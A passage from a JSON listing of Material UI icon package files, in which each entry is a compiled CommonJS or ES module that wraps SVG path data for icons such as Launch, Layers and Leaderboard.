    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.59 7.41 10.18 12l-4.59 4.59L7 18l6-6-6-6zM16 6h2v12h-2z\"\n}), 'LastPageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LastPageRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.29 8.11 10.18 12l-3.89 3.89c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l4.59-4.59c.39-.39.39-1.02 0-1.41L7.7 6.7a.996.996 0 0 0-1.41 0c-.38.39-.38 1.03 0 1.41M17 6c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1s-1-.45-1-1V7c0-.55.45-1 1-1\"\n}), 'LastPageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LastPageRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.29 8.11 10.18 12l-3.89 3.89c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l4.59-4.59c.39-.39.39-1.02 0-1.41L7.7 6.7a.996.996 0 0 0-1.41 0c-.38.39-.38 1.03 0 1.41M17 6c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1s-1-.45-1-1V7c0-.55.45-1 1-1\"\n}), 'LastPageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LastPageSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.59 7.41 10.18 12l-4.59 4.59L7 18l6-6-6-6zM16 6h2v12h-2z\"\n}), 'LastPageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LastPageSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.59 7.41 10.18 12l-4.59 4.59L7 18l6-6-6-6zM16 6h2v12h-2z\"\n}), 'LastPageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LastPageTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.59 7.41 10.18 12l-4.59 4.59L7 18l6-6-6-6zM16 6h2v12h-2z\"\n}), 'LastPageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LastPageTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.59 7.41 10.18 12l-4.59 4.59L7 18l6-6-6-6zM16 6h2v12h-2z\"\n}), 'LastPageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Launch.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19H5V5h7V3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2v-7h-2zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3z\"\n}), 'Launch');"
  },
  {
    "path": "packages/mui-icons-material/lib/Launch.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19H5V5h7V3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2v-7h-2zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3z\"\n}), 'Launch');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaunchOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19H5V5h7V3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2v-7h-2zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3z\"\n}), 'LaunchOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaunchOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19H5V5h7V3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2v-7h-2zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3z\"\n}), 'LaunchOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaunchRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 19H6c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h5c.55 0 1-.45 1-1s-.45-1-1-1H5c-1.11 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-6c0-.55-.45-1-1-1s-1 .45-1 1v5c0 .55-.45 1-1 1M14 4c0 .55.45 1 1 1h2.59l-9.13 9.13c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L19 6.41V9c0 .55.45 1 1 1s1-.45 1-1V3h-6c-.55 0-1 .45-1 1\"\n}), 'LaunchRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaunchRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 19H6c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h5c.55 0 1-.45 1-1s-.45-1-1-1H5c-1.11 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-6c0-.55-.45-1-1-1s-1 .45-1 1v5c0 .55-.45 1-1 1M14 4c0 .55.45 1 1 1h2.59l-9.13 9.13c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L19 6.41V9c0 .55.45 1 1 1s1-.45 1-1V3h-6c-.55 0-1 .45-1 1\"\n}), 'LaunchRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaunchSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19H5V5h7V3H3v18h18v-9h-2zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3z\"\n}), 'LaunchSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaunchSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19H5V5h7V3H3v18h18v-9h-2zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3z\"\n}), 'LaunchSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaunchTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19H5V5h7V3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2v-7h-2zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3z\"\n}), 'LaunchTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaunchTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19H5V5h7V3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2v-7h-2zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3z\"\n}), 'LaunchTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Layers.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11.99 18.54-7.37-5.73L3 14.07l9 7 9-7-1.63-1.27zM12 16l7.36-5.73L21 9l-9-7-9 7 1.63 1.27z\"\n}), 'Layers');"
  },
  {
    "path": "packages/mui-icons-material/lib/Layers.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11.99 18.54-7.37-5.73L3 14.07l9 7 9-7-1.63-1.27zM12 16l7.36-5.73L21 9l-9-7-9 7 1.63 1.27z\"\n}), 'Layers');"
  },
  {
    "path": "packages/mui-icons-material/lib/LayersClear.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.81 14.99 1.19-.92-1.43-1.43-1.19.92zm-.45-4.72L21 9l-9-7-2.91 2.27 7.87 7.88zM3.27 1 2 2.27l4.22 4.22L3 9l1.63 1.27L12 16l2.1-1.63 1.43 1.43L12 18.54l-7.37-5.73L3 14.07l9 7 4.95-3.85L20.73 21 22 19.73z\"\n}), 'LayersClear');"
  },
  {
    "path": "packages/mui-icons-material/lib/LayersClear.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.81 14.99 1.19-.92-1.43-1.43-1.19.92zm-.45-4.72L21 9l-9-7-2.91 2.27 7.87 7.88zM3.27 1 2 2.27l4.22 4.22L3 9l1.63 1.27L12 16l2.1-1.63 1.43 1.43L12 18.54l-7.37-5.73L3 14.07l9 7 4.95-3.85L20.73 21 22 19.73z\"\n}), 'LayersClear');"
  },
  {
    "path": "packages/mui-icons-material/lib/LayersClearOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4.53 17.74 9l-1.89 1.47 1.43 1.42L21 9l-9-7-2.59 2.02 1.42 1.42zm9 9.54-1.63-1.27-.67.52 1.43 1.43zM3.41.86 2 2.27l4.22 4.22L3 9l9 7 2.1-1.63 1.42 1.42-3.53 2.75-7.37-5.73L3 14.07l9 7 4.95-3.85L20.73 21l1.41-1.41zM12 13.47 6.26 9l1.39-1.08 5.02 5.02z\"\n}), 'LayersClearOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LayersClearOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4.53 17.74 9l-1.89 1.47 1.43 1.42L21 9l-9-7-2.59 2.02 1.42 1.42zm9 9.54-1.63-1.27-.67.52 1.43 1.43zM3.41.86 2 2.27l4.22 4.22L3 9l9 7 2.1-1.63 1.42 1.42-3.53 2.75-7.37-5.73L3 14.07l9 7 4.95-3.85L20.73 21l1.41-1.41zM12 13.47 6.26 9l1.39-1.08 5.02 5.02z\"\n}), 'LayersClearOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LayersClearRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.99 9.79c.51-.4.51-1.18 0-1.58l-6.76-5.26c-.72-.56-1.73-.56-2.46 0L9.41 4.02l7.88 7.88zm0 3.49-.01-.01a.991.991 0 0 0-1.22 0l-.05.04 1.4 1.4c.37-.41.34-1.07-.12-1.43m1.45 5.6L4.12 1.56a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l3.52 3.52-2.22 1.72c-.51.4-.51 1.18 0 1.58l6.76 5.26c.72.56 1.73.56 2.46 0l.87-.68 1.42 1.42-2.92 2.27c-.36.28-.87.28-1.23 0l-6.15-4.78a.991.991 0 0 0-1.22 0c-.51.4-.51 1.17 0 1.57l6.76 5.26c.72.56 1.73.56 2.46 0l3.72-2.89 3.07 3.07c.39.39 1.02.39 1.41 0 .41-.39.41-1.02.02-1.41\"\n}), 'LayersClearRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LayersClearRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.99 9.79c.51-.4.51-1.18 0-1.58l-6.76-5.26c-.72-.56-1.73-.56-2.46 0L9.41 4.02l7.88 7.88zm0 3.49-.01-.01a.991.991 0 0 0-1.22 0l-.05.04 1.4 1.4c.37-.41.34-1.07-.12-1.43m1.45 5.6L4.12 1.56a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l3.52 3.52-2.22 1.72c-.51.4-.51 1.18 0 1.58l6.76 5.26c.72.56 1.73.56 2.46 0l.87-.68 1.42 1.42-2.92 2.27c-.36.28-.87.28-1.23 0l-6.15-4.78a.991.991 0 0 0-1.22 0c-.51.4-.51 1.17 0 1.57l6.76 5.26c.72.56 1.73.56 2.46 0l3.72-2.89 3.07 3.07c.39.39 1.02.39 1.41 0 .41-.39.41-1.02.02-1.41\"\n}), 'LayersClearRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LayersClearSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 9-9-7-2.59 2.02 7.87 7.87zm0 5.07-1.63-1.27-.67.52 1.43 1.43zM3.41.86 2 2.27l4.22 4.22L3 9l9 7 2.1-1.63 1.42 1.42-3.53 2.75-7.37-5.73L3 14.07l9 7 4.95-3.85L20.73 21l1.41-1.41z\"\n}), 'LayersClearSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LayersClearSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 9-9-7-2.59 2.02 7.87 7.87zm0 5.07-1.63-1.27-.67.52 1.43 1.43zM3.41.86 2 2.27l4.22 4.22L3 9l9 7 2.1-1.63 1.42 1.42-3.53 2.75-7.37-5.73L3 14.07l9 7 4.95-3.85L20.73 21l1.41-1.41z\"\n}), 'LayersClearSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LayersClearTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 13.47.67-.53-5.02-5.02L6.26 9zm0-8.94-1.17.91 5.02 5.03L17.74 9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4.53 17.74 9l-1.89 1.47 1.43 1.42L21 9l-9-7-2.59 2.02 1.42 1.42zm9 9.54-1.63-1.27-.67.52 1.43 1.43zM3.41.86 2 2.27l4.22 4.22L3 9l9 7 2.1-1.63 1.42 1.42-3.53 2.75-7.37-5.73L3 14.07l9 7 4.95-3.85L20.73 21l1.41-1.41zM12 13.47 6.26 9l1.39-1.08 5.02 5.02z\"\n}, \"1\")], 'LayersClearTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LayersClearTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 13.47.67-.53-5.02-5.02L6.26 9zm0-8.94-1.17.91 5.02 5.03L17.74 9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4.53 17.74 9l-1.89 1.47 1.43 1.42L21 9l-9-7-2.59 2.02 1.42 1.42zm9 9.54-1.63-1.27-.67.52 1.43 1.43zM3.41.86 2 2.27l4.22 4.22L3 9l9 7 2.1-1.63 1.42 1.42-3.53 2.75-7.37-5.73L3 14.07l9 7 4.95-3.85L20.73 21l1.41-1.41zM12 13.47 6.26 9l1.39-1.08 5.02 5.02z\"\n}, \"1\")], 'LayersClearTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LayersOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11.99 18.54-7.37-5.73L3 14.07l9 7 9-7-1.63-1.27zM12 16l7.36-5.73L21 9l-9-7-9 7 1.63 1.27zm0-11.47L17.74 9 12 13.47 6.26 9z\"\n}), 'LayersOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LayersOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11.99 18.54-7.37-5.73L3 14.07l9 7 9-7-1.63-1.27zM12 16l7.36-5.73L21 9l-9-7-9 7 1.63 1.27zm0-11.47L17.74 9 12 13.47 6.26 9z\"\n}), 'LayersOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LayersRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.6 18.06c-.36.28-.87.28-1.23 0l-6.15-4.78a.991.991 0 0 0-1.22 0c-.51.4-.51 1.17 0 1.57l6.76 5.26c.72.56 1.73.56 2.46 0l6.76-5.26c.51-.4.51-1.17 0-1.57l-.01-.01a.991.991 0 0 0-1.22 0zm.63-3.02 6.76-5.26c.51-.4.51-1.18 0-1.58l-6.76-5.26c-.72-.56-1.73-.56-2.46 0L4.01 8.21c-.51.4-.51 1.18 0 1.58l6.76 5.26c.72.56 1.74.56 2.46-.01\"\n}), 'LayersRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LayersRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.6 18.06c-.36.28-.87.28-1.23 0l-6.15-4.78a.991.991 0 0 0-1.22 0c-.51.4-.51 1.17 0 1.57l6.76 5.26c.72.56 1.73.56 2.46 0l6.76-5.26c.51-.4.51-1.17 0-1.57l-.01-.01a.991.991 0 0 0-1.22 0zm.63-3.02 6.76-5.26c.51-.4.51-1.18 0-1.58l-6.76-5.26c-.72-.56-1.73-.56-2.46 0L4.01 8.21c-.51.4-.51 1.18 0 1.58l6.76 5.26c.72.56 1.74.56 2.46-.01\"\n}), 'LayersRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LayersSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11.99 18.54-7.37-5.73L3 14.07l9 7 9-7-1.63-1.27zM12 16l7.36-5.73L21 9l-9-7-9 7 1.63 1.27z\"\n}), 'LayersSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LayersSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11.99 18.54-7.37-5.73L3 14.07l9 7 9-7-1.63-1.27zM12 16l7.36-5.73L21 9l-9-7-9 7 1.63 1.27z\"\n}), 'LayersSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LayersTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.26 9 12 13.47 17.74 9 12 4.53z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.37 12.8-7.38 5.74-7.37-5.73L3 14.07l9 7 9-7zM12 2 3 9l1.63 1.27L12 16l7.36-5.73L21 9zm0 11.47L6.26 9 12 4.53 17.74 9z\"\n}, \"1\")], 'LayersTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LayersTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.26 9 12 13.47 17.74 9 12 4.53z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.37 12.8-7.38 5.74-7.37-5.73L3 14.07l9 7 9-7zM12 2 3 9l1.63 1.27L12 16l7.36-5.73L21 9zm0 11.47L6.26 9 12 4.53 17.74 9z\"\n}, \"1\")], 'LayersTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Leaderboard.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 21H2V9h5.5zm7.25-18h-5.5v18h5.5zM22 11h-5.5v10H22z\"\n}), 'Leaderboard');"
  },
  {
    "path": "packages/mui-icons-material/lib/Leaderboard.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 21H2V9h5.5zm7.25-18h-5.5v18h5.5zM22 11h-5.5v10H22z\"\n}), 'Leaderboard');"
  },
  {
    "path": "packages/mui-icons-material/lib/LeaderboardOutlined.js",
